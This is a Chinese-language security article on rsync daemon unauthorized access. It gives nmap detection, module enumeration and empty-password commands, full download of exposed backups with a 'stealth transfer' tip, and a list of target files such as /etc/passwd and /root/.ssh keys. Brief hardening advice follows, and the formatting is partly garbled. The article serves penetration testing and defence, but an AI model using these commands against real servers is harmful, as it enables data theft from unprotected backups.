rsync作为类Unix系统下的远程数据同步工具,凭借其增量传输算法和高效的同步能力,在企业文件备份、网站内容分发等场景广泛应用。但许多管理员在部署时往往忽视其默认配置的安全隐患——当服务以daemon模式运行时,若未正确配置访问控制,攻击者可能直接获取服务器完整目录列表甚至任意文件下载权限。
去年某次企业安全评估中,我们曾发现某云服务商的备份服务器因rsync未授权访问漏洞导致7TB客户数据暴露。攻击者仅需一条命令就能拉取整个业务数据库的备份文件,这种案例在实战中绝非个例。
使用nmap进行服务识别是最快的方式:
bash复制nmap -p 873 --script rsync-list-modules <target_ip>
若返回结果包含shared folder字样且未显示认证要求,则存在未授权访问风险。更直观的验证是直接尝试列出目录:
bash复制rsync rsync://<target_ip>/
bash复制for module in $(wordlist.txt); do rsync --list-only rsync://$IP/$module; done
bash复制rsync --password-file=empty.txt rsync://user@ip/share
获取可用模块列表后,先确认可访问范围:
bash复制rsync -av --list-only rsync://192.168.1.100/web_backup
特别注意包含db_dump、config等关键词的目录。
完整下载暴露目录(注意流量特征):
bash复制rsync -avz rsync://192.168.1.100/web_backup /local/path
如需隐蔽传输,添加--progress --size-only参数控制传输行为。
优先检查以下路径:
/etc/passwd/root/.ssh/*.sql.gz备份文件web.config等配置文件/etc/rsyncd.conf强制认证:code复制auth users = admin
secrets file = /etc/rsyncd.secrets
code复制hosts allow = 192.168.1.0/24
bash复制rsync -avz -e "ssh -p 2222" /local admin@remote:/backup
code复制grep -E 'rsync.*connect' /var/log/secure
/tmp/目录下的缓存文件某次金融行业测试中,我们通过rsync漏洞获取到数据库备份后立即停止操作,并发现该备份包含明文信用卡信息。根据保密协议,所有测试数据在报告提交后立即物理销毁。